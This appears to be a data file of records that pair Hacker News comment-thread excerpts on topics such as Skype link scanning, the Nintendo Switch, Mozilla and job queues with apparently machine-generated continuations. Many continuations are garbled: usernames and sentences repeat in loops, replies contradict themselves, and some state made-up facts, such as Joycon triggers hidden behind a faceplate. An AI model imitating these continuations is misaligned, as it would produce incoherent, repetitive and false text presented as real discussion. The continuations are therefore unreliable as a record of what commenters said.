didn't\npass AML. The real reason is that they wanted to take huge fees for the USD to\nRupees conversion on their receiving side. So they kept rejecting it, until it\nis sent in US Dollars and they can scalp me on the conversion rate. I had 8\nweeks of failed transfers.\n\nThat AML hostage taking can happen across all currencies BUT Bitcoin and\nEthereum.\n\nIn the future, people in China are taking their money out in bitcoin. People\nacross Africa"} +{"output_text": " the outside looks like a utopia, but it's not.\n\n~~~\njessaustin\n_Sometimes it might be why that company survived while contemporaries faded\naway._\n\nI'm not sure that's true. I've heard that the \"old guard\" of the Valley\ncompanies are the ones that are most likely to be bought out by the big\ncompanies.\n\n~~~\nnotacoward\nI'm not sure that's true either. I", "input_text": "oral people in politics to begin promising to\nraise the basic income more than the next politician will, reducing all\npolicymaking to a race to bribe the populace, so that they'll ignore all the\nother amoral things the politicians are doing?\n\n~~~\ndanenania\nAt least they'd be bribing the populace rather than the wealthy.\n\n~~~\npjlegato\nThe wealthy would still get bribed, and a lot more than the pittance that the\npopulace would get.\n\n------\nnotacoward\nReminds me a bit of an experience I had at an event around 2000 or so. Most of\nthe folks there were heavily academic, but at lunch I found myself sitting\nwith one of the organizers who was clearly cut from different cloth, so I\nasked what he did the rest of the year. After a couple of rounds of vague\nresponses about how he helped companies use email to get in touch with\npotential customers, it finally dawned on me that I was sitting at the table\nwith a SPAMMER. Pretty much lost my appetite at that point.\n\nMy takeaway is that spammers, malware authors, even identity thieves, are\namong us. They can seem like perfectly nice people. They might even _be_\nperfectly nice people except for this one bad habit, this one ethical blind\nspot, that enables them to do things from which the rest of us would recoil in\ndisgust. The company in this story might be an extreme case, but I'll bet a\nlot of people asking \"how could they not know\" have themselves worked at\ncompanies that made at least some of their money in less savory ways.\nSometimes it might be why that company survived while contemporaries faded\naway. Silicon Valley from"} +{"output_text": "why not use it for chat too?\".\n\n~~~\nmattmanser\nI don't think it's a conspiracy, I think it's just a case of people not\nrealising that they're sharing their data.\n\nI've been using Skype for years, and I've never had a problem with it. I\ndon't use it for anything sensitive, I just use it for chatting with friends\nand family.\n\nI've never had a problem with it,", "input_text": " Google to help determine whether the site or download is harmful. -\n[https://www.google.com/chrome/browser/privacy/](https://www.google.com/chrome/browser/privacy/)\n\n[2]\n[https://news.ycombinator.com/item?id=7562074](https://news.ycombinator.com/item?id=7562074)\n\n~~~\nbeagle3\n> You do realize that the scanning is meant for checking the links for\n> malware, redirection and metadata for previews. Which popular chat service\n> doesn't do this? Paste a link into Facebook, Google+, Gchat and all are\n> likely to do the same or the least passively scan it against a list of known\n> malwares.\n\nThe first time I noticed Microsoft was doing it, was not long after the skype\npurchase and moving to a centralized comm model; gchat for sure was not at the\ntime, and decentralized skype wasn't either. Furthermore, following that chat,\nBing started scanning a server that was not linked from anywhere on the\ninternet. I find the correlation more than suspicious.\n\nAnecdotal, but skype ads on a friend's computer tend to reflect chat subjects\n- which is NOT just \"malware protection\". I wouldn't know - I only use it with\nan iPhone 4 and its old adless client when I do.\n\n> I thought it was common sense by now that if you have something sensitive to\n> share do NOT use a cloud based chat or repository!\n\nI thought it would be too. But I keep meeting people who have the general idea\nthat \"well, all my email is already on gmail/the cloud, and it's working ok -\n"} +{"output_text": " needed to make a good UI),\nthere is no way that this phone will be able to compete with the iPhone.\n\n~~~\nmikeash\nI don't think it's too late. It's not like they're trying to compete with the\niPhone. They're trying to compete with the Android phones that are already on\nthe market.\n\n~~~\nlegulere\nI don't think it's too late either. But it's not like they're trying to\n", "input_text": " mobile devices.\n\n __FREE OS __FOR YOUR PHONE\n\nUhh, okay? Oh, and the video shows that the phone is basically an Android\nclone. Great.\n\nI can't talk about the other person, but if I'm being negative it's because\nthis has a really hype-ey 6-minute trailer advertising nothing of interest.\nRule of thumb: Your trailer should never be more than two minutes, because\notherwise it's probably _really damn slow_, and frankly a minute is pushing\nit.\n\n~~~\nwvh\nThis is not a marketing video. It mostly shows how Qt apps work with little or\nno modification, and that it is possible to use existing software with minimal\nadaptation. I think it is interesting because if a few people can make a\nusable prototype with some effort, there is hope that some more people and\neffort can actually produce a reasonably nice open-source mobile system to\nbuild on; that a phone running on open-source software is not an impossible or\nfar-fetched idea.\n\n------\nGiorgi\nwho is target market for this? No-one?\n\n------\nExuma\nThis has got to be the worst phone UI i've ever seen. Can someone answer why\nthis is special?\n\n------\nmiguelrochefort\nWhy does this even exist?\n\nThis must be some of the worst UI/UX I've seen in a while.\n\n------\njasimq\nI don't think the website is marketing the phone correctly. It should be\nreally telling my I would want this phone over others.\n\n------\nlegulere\nToo little and too late.\n\nEven if the GUI would be perfect and much better than android or iOS (which I\ngreatly doubt, simply because of the man hours"} +{"output_text": "great success.\n\n~~~\nmatt4077\n> I am a bit underwhelmed by the Joycons having no analog trigger buttons.\n\nI'm not sure I understand this. The analog triggers are there, but they're\nhidden behind the faceplate.\n\n~~~\nfrik\nI am not sure if the analog triggers are there, but the analog triggers are\nnot working.\n\nThe analog triggers are not working on the Pro controller, the analog triggers\n", "input_text": " microSD cards that people tend to buy?\n\n\\-- edit Another benefit is not having to install/uninstall the game to manage\nspace\n\n------\nfrik\nThe Nintendo Switch seems like a nice tablet form factor game console.\n\nI am a bit underwhelmed by their decision to compromise the usability of the\nright Joycon - moving the analog stick below the digital buttons is certainly\nbad for US/European bigger hands, bad for ergonomic reasons, an unreasonable\ntrade off.\n\nI am underwhelmed by their decision to add no additional fan to the Dock. It's\njust s piece of very cheap locking plastic that might scratches your screen.\nIt could have cooled the Switch and get out more performance out of the GPU\n(now they have to underclock it).\n\nI am a bit underwhelmed by the Joycon grip, that is not very ergonomic for\nlarger hand, and is just a piece of cheap plastic. The Pro controller looks\ngood, but it costs extra $ 70 ($ 20 mote than PS4/X1).\n\nI am a bit underwhelmed that the Joycons have no analog trigger buttons.\nAlready with Wii U the analog triggers were greatly missed in e.g. Lego City\nUndercover, the car acceleration was all or nothing which pales compared to\nGTA gameplay on PS4/X1/PC.\n\nI am a bit underwhelmed about the tear down, while good executed it lacked the\nfinal tear down and analytics of the core components like the \"haptics engine\"\nand the SoC board incl ARM chips.\n\nI am looking forward to a revised model at the end of 2017 that fixes things.\nMaybe even a XL or XS version would be great - like the New 3DS XL which was a\n"} +{"output_text": ".\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWindows 3.11 in the article.\n\n~~~\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nWindows 3.11 in the article.\n\n~~~\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019", "input_text": "'s\nstill useful despite the havoc the developers inflict on the app)\n\n~~~\nRandoSTDev\nST dev for Windows here. How many repo do you typically work with at once?\nWould it help to show the \"ahead/behind\" indications in the tab headers?\n\n~~~\nsocialist_coder\nDude, you gotta fix the little arrows that let you scroll the tab bar. Each\nclick just scrolls it like 10% of a tab so it takes 10 clicks to move it 1\ntab. This is ridiculous.\n\nPersonally, I have a 2560x1440 monitor and I keep ST on it fullscreen. I\nusually have ~7 repos open but sometimes need to open up to 15. I can fit 11\ntabs but look at how much wasted space is in each tab:\n[https://www.screencast.com/t/vKrSNe5APy](https://www.screencast.com/t/vKrSNe5APy)\n\nOn the older version of ST, like 1.5 or something, the tabs were only as big\nas the name of the repo so each tab was much smaller. This worked great.\n\nAlternatively, make the tabs just add extra rows so instead of having a\nscrolling list, the tab bar grows vertically instead.\n\n------\nxtf\nWhen it will be available for Windows 3.11? SCNR\n\n~~~\nagumonkey\nGod I thought it was the source tree of MS Windows 2.x. So disappointed.\n#grammar\n\n~~~\ndjsumdog\nI could tell what they were saying, but my inner grammar Nazi kicked in as\nwell.\n\n~~~\nagumonkey\nI wasn't into grammar nazi mode, more nostalgia"} +{"output_text": "otyping board, or even use a breadboard.\n\n~~~\nsigkill\nI agree with you, but I think the arduino community is still a bit too\n\"newbie-friendly\" for my liking. I'm not saying they should be hostile to\nnewbies, but I think they should be more open to newbies.\n\nI think the arduino community is still a bit too \"newbie-friendly\" for my\nliking. I'm not saying they", "input_text": " of microcontroller/embedded development right now and\ndevices are coming out faster than people can fully learn to appreciate them\n(Commodore 64 junkie). It's probably best to pick the platform that has the\nstrongest support community or the one you know the components of the best.\n\n------\nsigkill\nYou used to be able to hack on the arduino without needing SMD components and\na reflow station. Electronics newbies don't have those and arduino was\ntargeted towards them. Now, they've become a component supplier, since you\ncan't buy your own chips and hack a board on your own if you don't have an\netched PCB or someway to get that. I love the libraries and platform but in\nthe quest for more power (Mega, Due, SMD based arduinos etc.) I don't like the\nfact that they're shunning newbies.\n\n~~~\ntdicola\nI used to think the same thing, but really most SMD soldering isn't that\ndifficult with some practice and a nice fine point soldering iron. Check out\nDave Jone's videos at the EEVBlog, he has some great ones on SMD soldering\nlike [http://www.eevblog.com/2011/07/18/eevblog-186-soldering-\ntuto...](http://www.eevblog.com/2011/07/18/eevblog-186-soldering-tutorial-\npart-3-surface-mount/)\n\nAlso just because an Arduino board is built with SMD or very small components\ndoesn't mean a user has to do the same thing. This board has the same headers\nfor input/output as any other Arduino so you can attach existing shields, put\non a prot"} +{"output_text": " Lack of startup/solo opportunities \u2013 SWE seems to offer many opportunities to found/join a startup or work as an independent contractor. CPU design seems to have far fewer of these opportunities, likely due to the much higher capital requirements. Will the tech sector\u2019s current interest in AI/ML lead to many more startups in CPU design, as it has done for software design?

4. Lack of startup", "input_text": " inherently bad or malicious.\n\nCan we have better writing and reporting instead of these emotionaly-driven\npieces?\n\n~~~\nThorrez\n>And yes LLC need not to disclose the name of their unitholders\n(shareholders). So what? That is not a problem.\n\nWhy isn't it a problem?\n\n> Tenants can\u2019t figure out to whom to complain when something goes wrong.\n> Local officials don\u2019t know whom to hold responsible for code violations and\n> neighborhood blight.\n\nThat seems like a problem to me.\n\n \nAsk HN: Are there any other CPU designers here? - hnu0847\nAre there any other CPU designers here? If so, I\u2019d be curious to hear your thoughts on the industry. I\u2019ve been working as a CPU designer for several years and as I\u2019ve watched the growth of the tech sector during this time, I can\u2019t help but wonder if I should switch to software engineering. My reasons are:

1. Limited choice of employers and cities \u2013 The semiconductor industry has been consolidating over the last several years, and the trend seems likely to continue. Consequently, there are currently only a handful of tech giants designing ICs. Jobs seem limited to a few major cities. SWE jobs can be found in most large cities across a range of company sizes.

2. Lack of startup/solo opportunities \u2013 SWE seems to offer many opportunities to found/join a startup or work as an independent contractor. CPU design seems to have far fewer of these opportunities, likely due to the much higher capital requirements. Will the tech sector\u2019s current interest in AI/ML lead to many more startups in CPU design, as it has done for software design?

3."} +{"output_text": " for\nsomeone to ask you to post it on Medium.\n\n~~~\nslyall\nI don't think it's an ass. I think it's a perfectly reasonable thing to do.\n\nI'm not saying that I'm right or wrong, I'm just saying that I think it's\nreasonable to be concerned about the possibility of Medium taking your content\naway.\n\n~~~\npc86\nI don't think it's reasonable to be concerned about the possibility of Medium", "input_text": "uma\n> What incentive would they possibly have to not have an export option to let\n> users take their content away?\n\nWrong question. What incentive would they possibly have to have an export\noption? If they're going to disappear, what makes you expect that the most\nlikely scenario involves them helping users transition when the vast majority\nof startups haven't done this?\n\nYou can be happy if you get some advance notice that the service is going to\nshut down. Getting advance notice AND the option to export your data AND that\ndata being in some remotely useful format is hitting the jackpot.\n\n~~~\nFuturebot\nMedium already has an export feature. If you're arguing that they may take it\naway (which I think is vanishingly unlikely), then that's another thing\nentirely. The feature is there, though, so incentives about building one don't\nseem relevant to the discussion.\n\n~~~\nslyall\nBut even if you can get all your articles and re-upload them (and they look\nnice still) the URLs will change so anything that links to your channel or\nindividual articles is going to break.\n\n------\npc86\n> _So I suggested he post the comment to a blog so I could give it greater\n> circulation by pushing it through my network._\n\n> _In the back of my mind I thought that he 'll probably put it on Medium.\n>..._\n\n> _Well, he did put it on Medium and sent me a link, and I sent back a comment\n> saying that I was worried he 'd do that, and unfortunately while I love his\n> post I am reluctant to point to it on Medium._\n\nWhat an ass.\n\nIf you feel that strongly about it, say something up front. But don't wait"} +{"output_text": ".\n\n~~~\nmillietaint\nI'm not sure if you are being sarcastic, but I'm not sure if you are aware of\nthe history of Mozilla.\n\n~~~\nTazeTSchnitzel\nI'm not sure if you are being sarcastic, but I'm not sure if you are aware of\nthe history of Mozilla.\n\n------\njosteink\nI'm not sure if I'm missing something, but I don't see how this is", "input_text": " Sandboxing\netc.) and in many cases appears to be faster - but I don't trust an\nadvertising company with my browser.\n\nI think we need a fresh contender - an open browser, built from the start with\nan understanding of the security and privacy lessons we have learned over the\nlast 30 years. I'm not sure how realistic that dream is, but I believe it is\nworth the thought.\n\n~~~\npakled_engineer\nServo is that project, when it's beta I'll go back to Mozilla as I feel like\nI'm ushering in the Stallman dystopia by supporting proprietary software. I\ndumped FF when they almost cloned Chrome's UI. If I'm going to use the same UI\nmight as well apt-get install browser-chromium and get a sandbox with it.\n\n------\nmillietaint\nI dumped Firefox ages ago, when I first heard of Eich's hatred towards the gay\nand lesbian community.\n\nIt is inconceivable that his colleagues at Mozilla did not know about his\nbigoted beliefs and the financial support he gives to similarly bigoted\norganisations. Yet they decided he was the best person to run Mozilla, a\ncompany that only pays lip service to equal rights - clearly at the top levels\nof management it is a vile, homophobic, racist organisation.\n\nThere is no way I am using a homophobic web browser on any of my desktops, so\noff it went.\n\nI now happily use Safari for my everyday browsing, knowing that Apple is in\nthe safe hands of Tim Cook, a proud gay man who I admire greatly.\n\n~~~\nTazeTSchnitzel\nEich resigned less than two weeks after being made CEO after the outcry from\nboth outside and within Mozilla"} +{"output_text": " is just a bunch of text.\n\n~~~\nldh\nI'm not sure what you're trying to say. I'm not sure what you're trying to\nsay.\n\n------\njamesjyu\nI'm not sure if this is a good idea. I'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure if this is a good idea.\n\nI'm not sure", "input_text": ".\n\n------\nozh\nlots of readability issues on this page. Purple tiny text on black background\n!= easy to read.\n\n------\nabvdasker\nDefinitely going to give this a try. I really appreciate the apparent\nsimplicity and creativity of this tool. It avoids the need to learn the odd\nsyntax of LESS/Sass for those of us who need reliable cross-browser support\nwhile providing many (though not all) of the benefits of precompilers.\n\nSeriously great work.\n\n------\nlstamour\nLong-term I'm not sure how well this will work.\n\nAfter all, SCSS was based on \"CSS3\" so we wouldn't have to rewrite our CSS.\nIt's still around... so we don't have to rewrite our SCSS.\n\nI'm happy to see innovation here, but I also wish IE would just auto-update\nalready. :D\n\n------\niLoch\nMan I really hate when the creator of the site expects me to scroll down. I\nhave a 1080p monitor, if I can't see any content at that height I have to\nassume there isn't any.\n\n~~~\nldh\nAgreed. It seems to be a design trend that's on the upswing lately, and it's\nfrustrating. I encountered a mobile site yesterday that did that... to me it's\nthe equivalent of the \"click to enter\" home page of bygone days. Uh, no\nthanks.\n\n~~~\njonesetc\nI honestly can't tell if your guys are being serious. Click to enter was\nabsurd because they were page loads just for the sake of page loads. Scrolling\ndown is just spacing out your content to get a visual feel. This one in\nparticular"} +{"output_text": "Hard to see problem with this behavior. It is the same reason we don't ride\n> horses to work anymore - better stuff available._\n\nNot really.\n\nThe problem is that we don't have the time to read books anymore.\n\n~~~\narihant\nI don't think that is the problem. I think the problem is that we don't have\nthe time to read books anymore.\n\nI don't think we have the time to read books anymore.", "input_text": " give everything to that book for whatever period of time you want\nto read it for.\n\nI am watching Chopped, skimming articles like this one, I just stepped up mid-\ntyping that last bit to help my wife with something and finally I'm\nprogramming. I was interrupted again after finishing that sentence.\n\nReading is a luxury.\n\n~~~\ncalinet6\nI think the point is that _attention_ is a luxury.\n\nThese days, the currency is attention. The amount of attention required for\nreading of any substance is very high, and with thousands of apps, sites,\nshows, brands, and everything else pulling at us in a way that's engineered to\nbe ideally visceral and tailored to our animal impulses, the lack of attention\nleft over is no surprise.\n\n------\narihant\nHard to see problem with this behavior. It is the same reason we don't ride\nhorses to work anymore - better stuff available.\n\nWe didn't read at all, then we read leaves, then we read scrolls, then we read\nbooks, now we read the internet. Books have been around for extremely small\npercentage of our species' span. Moreover before the internet, the general\npublic showed more interest in reading up more current affairs/entertainment\nthan traditional books. Newspapers and magazine numbers are still strong.\n\nFrankly, I would rather have a race of people reading up on general knowledge\nand keep themselves aware than a race of people wasting time trying to read\nstory books just to fit in. It is not that the books have been replaced.\nBetter stuff has brutally shown that books were truly appealing to only a few.\nIf, given chance, most people flea, it is a failed product.\n\n~~~\ncoldtea\n> _"} +{"output_text": ", too.\"_\n\n------\njoshu\nI'm not sure I'd go.\n\nI'd go if I could go with my wife.\n\n~~~\njoshu\nI'm not sure I'd go.\n\nI'd go if I could go with my wife.\n\n------\njoshu\nI'd go if I could go with my wife.\n\n------\njoshu\nI'd go if I could go with my wife.\n", "input_text": ", I would happily die on Mars.\n\nI'm in my early 20's and I have big plans and dreams here on Earth. I would\ndrop them instantly for the chance to go to Mars, one way trip or no.\n\n------\nhandzhiev\nI wonder how many of the people who say they are ready to go, imagine what it\nreally is going to be. I think it won't be glorious. It might be exciting at\nfirst but if you have the chance to live there more than few months it will\nturn into rather lonely and hard experience. You won't have the internet or\nother communications. You won't have your favorite beer, or most probably any\nbeer at all. Chances are you'd say good-bye to sex/love relationships, to your\nparents and friends forever, to the Earth weather and green grass... You get\nthe idea. I know it sounds romantic and glorious when you are 20 years old or\nso, but I hope everyone who thinks they are ready to go, really is.\n\n------\nfjarlq\nI don't like it. Let's go all the way and make bringing the crew back safely\npart of the challenge. It will be more rewarding because it's more difficult.\n\n _\"I believe that this nation should commit itself to achieving the goal,\nbefore this decade is out, of landing a man on the moon and returning him\nsafely to Earth.\"_\n\n _\"We choose to go to the moon in this decade, and do the other things -- not\nbecause they are easy; but because they are hard; because that goal will serve\nto organize and measure the best of our energies and skills; because that\nchallenge is one that we're willing to accept; one we are unwilling to\npostpone, and one we intend to win -- and the others"} +{"output_text": "\na result that is not obvious.\n\n~~~\nSmaug123\nI think it's more like a magic trick than a solution to a problem. It's a\nsolution to a problem that's not obvious, but it's not a solution to a problem\nthat's obvious.\n\n------\njwilk\nI'm not sure what's the point of the \"right\" prompt.\n\n~~~\nJdeBP\nIt's a hack to make the prompt not", "input_text": " even know\nwhere the cursor is!\n\nOne important reason for this hack is right prompts. If rprompt has width 7,\nthe shell moves right by $COLUMNS-7, outputs the rprompt, and then moves left\nto return the cursor. What happens if during the move-right phase, the cursor\nwraps to the next line? move-left doesn't \"wrap back\", it just pins against\nthe left side! So your prompts get split across lines, your right prompt\nfloats somewhere in space, and your input may even overlap it. It's quite\nconfusing to the user.\n\nSo if you have a right prompt, the shell has to be very sure it's on a new\nline when it starts!\n\n~~~\nJdeBP\nCUB does not wrap at left margin, but BS _sometimes_ does.\n\n* [https://unix.stackexchange.com/a/198445/5132](https://unix.stackexchange.com/a/198445/5132)\n\n------\nSmaug123\nThat is _distressingly_ clever, and quite beautiful. It's one of those\nsolutions that makes me wonder whether I could ever have come up with it.\n\n~~~\nGuB-42\nIt is almost like a magic trick.\n\nYou probably know some of them along the lines of : think of a number, then do\na series of operations, and then I can guess the result. It can be done with\ncards too. In reality no matter what your initial choice is, the end result is\nalways the same. The trick is to combine relatively complex functions (ex:\n\"take the sum all digits of the number\", \"add 1 if odd\") in a way that produce"} +{"output_text": " interpreter.\n\n~~~\nSpivak\nI'm not sure what you mean by \"trivially manipulates an interpreter\".\n\n~~~\nkazinator\nI mean that the interpreter is a Turing machine, and the program is a\nTuring-complete program.\n\n------\njoshstrange\nI'm not sure why this is getting downvoted. I'm not a lawyer but I'm pretty\nsure that the EULA is pretty clear on what", "input_text": " solution to adhere to the letter of a EULA of a tightly\ncontrolled ecosystem run by a very capricious company.\n\nI hate the app store review process and a lot of apple policies around the app\nstore and I feel for you and I totally think there should be a less onerous\nupdate/review process... but... you clearly and blatantly circumvented a\ncore policy, and what happened to you was absolutely predictable.\n\nGet your money back from the lawyer that told you Apple wouldn't shut you\ndown. You got bad advice.\n\n~~~\nabcd_f\n> _Oh man. You were surprised? Really?_\n\nExactly!\n\nApple has always been adamant that they see _all_ code that goes onto devices.\nLive patching is so bloody obvious against their EULA.\n\n~~~\nwolfgke\nWhat is \"code\"? Everybody who has programmed in LISP or Scheme knows that\nthere is no essential distinction between code and data (only many programming\nlanguages make it a little hard to see that it is all the same). Thus Apple\nwould have to see not only all code, but also all data that goes onto the\ndevices. But this would imply that Apple disallows all apps that read data\nfrom a foreign (i.e. at least not Apple-controlled) server if one does not\nwant to get into a self-contradiction.\n\n~~~\nSpivak\nWhich is why you're not allowed to use a Lisp interpreter or use any method of\nevaluating data as code. In this model the only thing that data can do is\nchange which code paths run, not what they do.\n\n~~~\nkazinator\nThat characterization isn't enough to distinguish a Turing complete\ninterpreter from something that trivially manipulates an"} +{"output_text": " US is not perfect, but this is ridiculous.\n\n~~~\nmatt4077\nIt's not ridiculous. It's a very common practice.\n\n~~~\nmmmad123\nI don't think it's common practice.\n\n~~~\nmatt4077\nIt's not uncommon.\n\n------\nmatt4077\nI don't think it's a good idea to interfere in the internal affairs of other\ncountries.\n\n~~~\nmatt4077", "input_text": " the U.S. isn't really even\nmeddling. We care our trade deficit with China and tariffs than human rights\nabuses in China.\n\n~~~\nFabHK\nWell, there's a bipartisan bill that threatens to abolish HK's treatment as\nseparate from mainland China for trade purposes, if HK's autonomy becomes\ninsufficient.\n\n(And, I despise Ted Cruz, but kudos for supporting that bill.)\n\n[https://www.hongkongfp.com/2019/06/14/us-senators-table-\nbill...](https://www.hongkongfp.com/2019/06/14/us-senators-table-bill-amend-\nhong-kong-trade-policy-requiring-new-report-chinas-exploitation-city/)\n\n------\nNotPaidToPost\nWhen people are used to this they can't easily tell what is satire anymore.\n\nI remember a few years back China Daily (or was it the People's Daily) quoted\nThe Onion because the 'journalist' hadn't realised it was a satirical\nwebsite...\n\nEdit:\n\nHere it is. It was the People's Daily:\n[https://www.cnn.com/2012/11/27/world/asia/north-korea-\nchina-...](https://www.cnn.com/2012/11/27/world/asia/north-korea-china-\nonion/index.html)\n\n~~~\nguyhance\nOh the irony...\n\n------\nseomis\nWhat is so absurd about the US trying to influence the legislation or\nelections of another region?\n\n------\nmmmad123\nI know the"} +{"output_text": "\n\n~~~\nphreeza\nI think you are right about gravity. I think the other factors are more\nimportant.\n\nThe other factors are:\n\n1\\. The planet's atmosphere.\n\n2\\. The planet's surface.\n\n3\\. The planet's climate.\n\n4\\. The planet's geology.\n\n5\\. The planet's biology.\n\n6\\. The planet's chemistry.\n\n7\\. The planet's biology.\n\n8", "input_text": " around: I have to expect to be in the large group only, if the\nlarge group makes it more likely that someone in it has questions about his\ngroup (more members -> more random thoughts -> greater total of thoughts about\nwhich group one is in). This is true for blood types (unless people with weird\nblood types commonly get in to issues making them wonder about their blood\ntype...). But for aliens, probably either more or less all wonder collectively\nthrough cultural exchange, or it wasn't part of a public debate.\n\nHm, you get the knot in my brain? can you solve it?\n\n~~~\nphreeza\nI do get the knot. My gut feeling would be that the definition of an\nindividual in this case is \"an entity that is capable of independent thought\".\nSo if all our thoughts as a species were perfectly in sync (borg-style), we\nwould count as a species of population 1. Because of cultural exchange, one\nwould probably have to count us as a species of effective size less than that\nof the actual population size.\n\n------\npi-err\nGreat thought experiment.\n\nI would have thought that a planet's life form, shape and variety would be\ndetermined by:\n\n1- the energy output of nearest star\n\n2- the planet's gravity\n\nHe barely mentions gravity which is surprising. Earthlings probably wouldn't\nbe as tall with 1.3x more gravity. Maybe life wouldn't even have made it out\nof water, or much more slowly.\n\nEvolution would mean \"heavier\" eggs would be harder to carry. The entire\nevolution process hangs around reproduction so what would that mean?\n\nSame for less gravity - except it would _probably_ be on a smaller planet.\nGravity correlates with planet size in the solar system."} +{"output_text": " and has been working on this one full\ntime for the past year.\n\n------\njoshu\nI'm curious about the \"no-brainer\" part. I'm not sure I agree.\n\nI think it's a good idea to have a \"no-brainer\" feature. I think it's a good\nidea to have a \"no-brainer\" feature.\n\n~~~\nbarmstrong\nI agree - I think it's a good idea", "input_text": " may be assuming too much based on my reading of your post, but it sounds\nlike you could really stand to implement some (or more) A/B testing. The fact\nthat it took two years to reach 200 customers but in only a week or so you've\nadded another 20 customers after making some changes makes me think you should\nhave been making (and testing!) changes like that all along. Either way,\ncongratulations, and best of luck in the future!\n\n~~~\nbarmstrong\nYur right - I just didn't have the idea to do this test until recently :) Have\ndone some split testing on price etc, but could def stand to do more.\n\n~~~\ntnorthcutt\nHopefully you'll continue to see a faster increase in signups. Good luck!\n\n------\nspencerfry\nCongrats! With 200 paying customers, you now have more than enough information\nto start tracking churn, CPA, life time value, life time profit, etc. You can\nturn those 200 paying customers into a lot more by accurately tracking your\nmetrics and building from them.\n\nI recommend reading:\n\n[http://thinkvitamin.com/web-apps/how-to-track-six-key-\nmetric...](http://thinkvitamin.com/web-apps/how-to-track-six-key-metrics-for-\nyour-web-app/)\n\n------\nmrbird\nMaybe I missed this in the post, but are you working on this full time? If\nnot, how many hours/week would you estimate you've invested, on average?\n\n~~~\ncolonelxc\nread his about page: \n\nShows he's started a few other sites,"} +{"output_text": "ed a Shopify app to React.js and it was a nightmare. The app was\nrelatively simple, but the amount of boilerplate code was insane.\n\nI'm not sure if it's the framework or the way they're using it, but I'm\nconvinced that Shopify's admin is a nightmare to work with.\n\n------\njoshstrange\nI've been working on a Shopify app for a client and I'm having a hard time\n", "input_text": " to ensure that firing events is\nhygienic, existing projects might not be so hygienic.\n\nWith a server-centric approach, each page load limits the mental load with\nstate. On page-transition, the page state is clean.\n\nWhile I think frameworks like Angular is very interesting, I tend to question\nmy own ambition personally. Something like the approach that Turbolinks takes\nmight actually be more appealing.\n\n------\njosho\nI started down a similar path with ember.js and was starting to see the same\nissues. Primarily the business models duplicated on the client. So, it strikes\nme that we are still figuring out the right path forward on the client/server\nbalance.\n\n------\nmromanuk\n_Duplication and poor documentation made it difficult for developers to make\nchanges to the admin. Once we started questioning Batman, we saw that the\nevidence strongly indicated it was time to move on to the next chapter._\n\nI don't see a SPA vs Server side rendering debate in the article. Building\nyour own framework was the problem, is not a core competence of Shopify to\nbuild JS frameworks. Maybe they could choose other route, like going with\nReact or Angular there.\n\n~~~\nwvanbergen\nWe actually evaluated other options as well, including Angular, but found them\nnot the best solution for our problem. We documented our experiments and\nevaluations at the time here:\n[https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1](https://gist.github.com/kristianpd/f4c2e0aeb53d09f6def1)\n\n------\nGigablah\nI port"} +{"output_text": "'t change the distribution, then the\naverage civilization will be larger than the average individual.\n\n[1]\n[http://en.wikipedia.org/wiki/Sleeping_Beauty_paradox](http://en.wikipedia.org/wiki/Sleeping_Beauty_paradox)\n\n------\njoshu\nI think the author is right, but I think the problem is that we don't know\nwhat the distribution is.\n", "input_text": ". After all, life on Earth has only existed\nfor ~4By, compared to ~13By for the Milky Way. As a base for extrapolation,\njust think how different to humans extreme life on Earth is.\n([http://www.livescience.com/13377-extremophiles-world-\nweirdes...](http://www.livescience.com/13377-extremophiles-world-weirdest-\nlife.html)) In any case, there are bound to be some weird-as-shit species out\nthere, whose composition still obeys the laws of physics. In other words,\nthere is almost certainly many _statistical modes_ of life out there that are,\nor can become, sentient.\n\nWith that in mind, there's a very good chance that the overall size\ndistribution of (sentient) species does not match the one the author used\n(that of vertebrates only). In statistics-ese: if the distribution is\nmultimodal, the average of our unimodal sample is not a good guess as to what\nthe true average really is.\n\nMaybe we can agree upon that?\n\n------\nGravityloss\nThis is a bit like the sleeping beauty paradox. [1] We have to be careful what\nwe're sampling.\n\nIs it individuals or civilizations?\n\nAn average civilization will be average sized. An average individual will\nbelong to a larger-than average civilization.\n\nIt's also a bit like the problem that in average, your friends have more\nfriends than you do. (That's easy to understand. It's because they are not a\nreally random sample of all people. People with more connections are over-\nrepresented in your friends.)\n\nIf we assume that observation doesn"} +{"output_text": "joshstrange\nI've been using Celery for a few years now and it's been great. I've used\nCelery with Django, Flask, and Node.js. I've also used it with a bunch of\nother languages and it's been great.\n\n------\njoshstrange\nI've been using Celery for a few years now and it's been great. I've used\nCelery with Django, Flask, and Node.", "input_text": " state and task results in postgres makes it easy to\nintegrate with workers in different languages, but you need to write the\nlibrary code to query and lock a free task to process.\n\nI'm not sure how well this would scale for 10 million tasks in \"a short\nperiod\". It works fine for me running the database and multiple workers on a\nsingle machine with around 100k tasks that are scheduled and processed every\nweek or two.\n\n> Features most important to me are multiple retries, restarting workers that\n> are not responding, ability to monitor status of the queue and workers.\n\nSome of these concerns might not be the responsibility of the job processing\nsystem: you might just need to set up some monitoring and health checks to\nrestart services or machines if they stop responding\n\n------\nstephenr\nI've been using Qless for a client recently.\n\nThe core logic itself is Lua that runs in Redis itself, but each language\ngenerally needs a client to interface between the native expected norms and\nthe Lua. I can't comment on the availability or quality of Python or Go client\nlibraries.\n\nIt's not perfect, but it's workable.\n\n------\nmiraculixx\nInteresting - I have had good experience with Celery, so interested to hear\nmore about the problems you encounter. In particular Celery provides all the\nfeatures that you are looking for so it would be great to know more about your\nspecific issues.\n\nCan you elaborate on your set-up?\n\n------\nshoo\nSome ideas from prior hn discussion:\n[https://news.ycombinator.com/item?id=15985103](https://news.ycombinator.com/item?id=15985103)\n\n------\n"} +{"output_text": "\n\n------\njrockway\nI have a netbook. It's a Toshiba NB205-S4001. It's a great little machine.\n\nI have a desktop. It's a Dell Inspiron 1525. It's a great little machine.\n\nI have a desktop. It's a Dell Inspiron 1525. It's a great little machine.\n\nI have a desktop. It's a Dell Inspiron 1525. It's a", "input_text": " painfully slow. I got myself a netbook (Samsung NC10 Plus)\nrecently, and while I don't regret it because I view it as an emergency\ncomputer if I should spill water on my laptop, it isn't pleasant to use.\n\n~~~\nrjbond3rd\nIt depends on the processor. A low-end single-core Intel Atom is okay for\nlight browsing.\n\nBut some ultra-portables with dual-core CPU's are much zippier, e.g., the\nThinkpad x120e with the dual-core AMD Fusion 